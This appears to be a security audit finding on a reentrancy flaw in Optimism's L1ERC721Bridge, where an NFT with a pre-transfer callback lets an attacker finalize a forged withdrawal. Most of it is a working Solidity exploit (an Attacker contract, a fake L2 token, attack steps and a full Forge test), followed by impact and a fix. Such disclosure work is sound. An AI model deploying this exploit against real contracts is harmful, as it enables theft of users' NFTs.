ustas
medium
Calling IERC721.transferFrom() in the L1ERC721Bridge._initiateBridgeERC721() after writing the deposit makes a reentrancy attack possible if there is a callback before transfer in the _localToken contract (we will name such a contract ERC721Callback).
An attacker can set the deposits variable for any token from the ERC721Callback contract to true within one transaction.
Possible contract ERC721Callback:
interface ISomeCommonContract {
function onERC721Transfer(
address from,
address to,
uint256 tokenId
) external;
}
contract ERC721Callback is ERC721 {
using ERC165Checker for address;
constructor() ERC721("Test", "TST") {}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
// Some callback before a transfer.
if (from.supportsInterface(type(ISomeCommonContract).interfaceId)) {
ISomeCommonContract(from).onERC721Transfer(from, to, tokenId);
}
super.transferFrom(from, to, tokenId);
}
...
}Optimism's internal system could allow an attacker to use any ERC721Callback NFT on the balance of L1ERC721Bridge within a single transaction.
Also, given that the deposits variable is public, there may be a vulnerability in external services that would rely on it.
Algorithm for unauthorized use of NFT:
- Create a transaction through
L2ERC721Bridgeto withdraw fake NFT from L2. In it, use a fake_localToken. Since the verification of the arguments entered in the bridge occurs at L1, the transaction will succeed. A possible contract_localToken:
L1Tokencorresponds to the contract on L1 being attackedtokenIdcorresponds to the ID of the NFT we want to get on L1
contract AttackerL2ERC721 is OptimismMintableERC721 {
constructor(
address L2Bridge,
address L1Token,
uint256 tokenId
) OptimismMintableERC721(L2Bridge, 1, L1Token, "L2Token", "L2T") {
_mint(msg.sender, tokenId);
}
}- This is the end of the work with L2. Next, we verify the transaction on
OptimismPortaland wait for the finalization period. - Using the following contract, we start the attack:
- The
__txin the constructor is our transaction from the previous steps - The
_localTokenis the victim contractERC721Callback - The
_remoteTokenis the contract from the first step
contract Attacker is ISomeCommonContract, IERC721Receiver, ERC165 {
OptimismPortal internal portal;
ERC721Callback internal localToken;
address internal remoteToken;
L1ERC721Bridge internal bridge;
Types.WithdrawalTransaction _tx;
constructor(
OptimismPortal _portal,
ERC721Callback _localToken,
address _remoteToken,
L1ERC721Bridge _bridge
) {
portal = _portal;
localToken = _localToken;
remoteToken = _remoteToken;
bridge = _bridge;
}
function start(uint256 tokenId, Types.WithdrawalTransaction memory __tx) public {
_tx = __tx;
bridge.bridgeERC721To(
address(localToken),
remoteToken,
address(this),
tokenId,
1234,
hex""
);
}
// The function that will be called before token transfer.
function onERC721Transfer(
address,
address,
uint256 tokenId
) external {
assert(bridge.deposits(address(localToken), remoteToken, tokenId) == true);
portal.finalizeWithdrawalTransaction(_tx);
if (localToken.ownerOf(tokenId) == address(this)) {
localToken.approve(address(bridge), tokenId);
// Do whatever you want
} else {
revert("Attack did not succeed");
}
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return
interfaceId == type(ISomeCommonContract).interfaceId ||
super.supportsInterface(interfaceId);
}
}As you can see, the point of the attack is to finalize a pre-created transaction during the callback.
Under normal circumstances, such a transaction would have failed because deposits[_localToken][_remoteToken][_tokenId] != true. But, with callback, we bypassed this check.
Forge test:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import { Types } from "../libraries/Types.sol";
import { Hashing } from "../libraries/Hashing.sol";
import { Messenger_Initializer } from "./CommonTest.t.sol";
import { CrossDomainMessenger } from "../universal/CrossDomainMessenger.sol";
import { OptimismMintableERC721 } from "../universal/OptimismMintableERC721.sol";
import { L2OutputOracle } from "../L1/L2OutputOracle.sol";
import { OptimismPortal } from "../L1/OptimismPortal.sol";
import { L1ERC721Bridge } from "../L1/L1ERC721Bridge.sol";
interface ISomeCommonContract {
function onERC721Transfer(
address from,
address to,
uint256 tokenId
) external;
}
contract ERC721Callback is ERC721 {
using ERC165Checker for address;
constructor() ERC721("Test", "TST") {}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
// Some callback before a transfer.
if (from.supportsInterface(type(ISomeCommonContract).interfaceId)) {
ISomeCommonContract(from).onERC721Transfer(from, to, tokenId);
}
super.transferFrom(from, to, tokenId);
}
}
contract Attacker is ISomeCommonContract, IERC721Receiver, ERC165 {
OptimismPortal internal portal;
ERC721Callback internal localToken;
address internal remoteToken;
L1ERC721Bridge internal bridge;
Types.WithdrawalTransaction _tx;
constructor(
OptimismPortal _portal,
ERC721Callback _localToken,
address _remoteToken,
L1ERC721Bridge _bridge
) {
portal = _portal;
localToken = _localToken;
remoteToken = _remoteToken;
bridge = _bridge;
}
function start(uint256 tokenId, Types.WithdrawalTransaction memory __tx) public {
_tx = __tx;
bridge.bridgeERC721To(
address(localToken),
remoteToken,
address(this),
tokenId,
1234,
hex""
);
}
// The function that will be called before token transfer.
function onERC721Transfer(
address,
address,
uint256 tokenId
) external {
assert(bridge.deposits(address(localToken), remoteToken, tokenId) == true);
portal.finalizeWithdrawalTransaction(_tx);
if (localToken.ownerOf(tokenId) == address(this)) {
localToken.approve(address(bridge), tokenId);
} else {
revert("Attack did not succeed");
}
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return
interfaceId == type(ISomeCommonContract).interfaceId ||
super.supportsInterface(interfaceId);
}
}
contract L1ERC721BridgeReentrancy_Test is Messenger_Initializer {
ERC721Callback internal localToken;
ERC721Callback internal remoteToken;
L1ERC721Bridge internal bridge;
Attacker internal attacker;
address internal constant otherBridge = address(0x3456);
uint256 internal constant tokenId = 1;
event ERC721BridgeInitiated(
address indexed localToken,
address indexed remoteToken,
address indexed from,
address to,
uint256 tokenId,
bytes extraData
);
event ERC721BridgeFinalized(
address indexed localToken,
address indexed remoteToken,
address indexed from,
address to,
uint256 tokenId,
bytes extraData
);
function setUp() public override {
super.setUp();
// Deploy the L1ERC721Bridge.
bridge = new L1ERC721Bridge(address(L1Messenger), otherBridge);
// Create necessary contracts.
localToken = new ERC721Callback();
remoteToken = new ERC721Callback();
// Deploy the Attacker
attacker = new Attacker(op, localToken, address(remoteToken), bridge);
// Label the bridges and the attacker so we get nice traces.
vm.label(address(bridge), "L1ERC721Bridge");
vm.label(address(attacker), "Attacker");
// Mint alice a token.
localToken.mint(alice, tokenId);
// Approve the bridge to transfer the token.
vm.prank(alice);
localToken.approve(address(bridge), tokenId);
}
function test_attack_succeeds() public {
// Bridge the token to L2.
vm.prank(alice);
bridge.bridgeERC721(address(localToken), address(remoteToken), tokenId, 1234, hex"5678");
// Mock tx from L2.
Types.WithdrawalTransaction memory _tx = Types.WithdrawalTransaction({
nonce: 0,
sender: address(L2Messenger),
target: address(L1Messenger),
value: 0,
gasLimit: 100_000,
data: abi.encodeWithSelector(
CrossDomainMessenger.relayMessage.selector,
0,
otherBridge,
address(bridge),
0,
50_000,
abi.encodeWithSelector(
L1ERC721Bridge.finalizeBridgeERC721.selector,
address(localToken),
address(remoteToken),
address(attacker),
address(attacker),
tokenId,
hex""
)
)
});
bytes32 txHash = Hashing.hashWithdrawal(_tx);
// Prove the tx.
vm.store(
address(op),
bytes32(uint256(keccak256(abi.encode(txHash, 52))) + 1),
bytes32(block.timestamp)
);
vm.mockCall(
address(oracle),
abi.encodeWithSelector(L2OutputOracle.getL2Output.selector, 0),
abi.encode(Types.OutputProposal(0, uint128(block.timestamp), 0))
);
vm.warp(block.timestamp + 7 days + 1);
// Expect events to be emitted.
vm.expectEmit(true, true, true, true);
emit ERC721BridgeFinalized(
address(localToken),
address(remoteToken),
address(attacker),
address(attacker),
tokenId,
hex""
);
vm.expectEmit(true, true, true, true);
emit ERC721BridgeInitiated(
address(localToken),
address(remoteToken),
address(attacker),
address(attacker),
tokenId,
hex""
);
attacker.start(tokenId, _tx);
// Token is still locked in the bridge.
assertEq(bridge.deposits(address(localToken), address(remoteToken), tokenId), false);
assertEq(localToken.ownerOf(tokenId), address(bridge));
}
}An attacker could profit from NFT, thus stealing potential profits from the actual owner (e.g., unused claim on L1). Other uses are possible if the NFT, for example, grants access to external services.
Manual Review, VSCodium, Foundry
Update L1ERC721Bridge.deposits after the call to an ERC721 contract.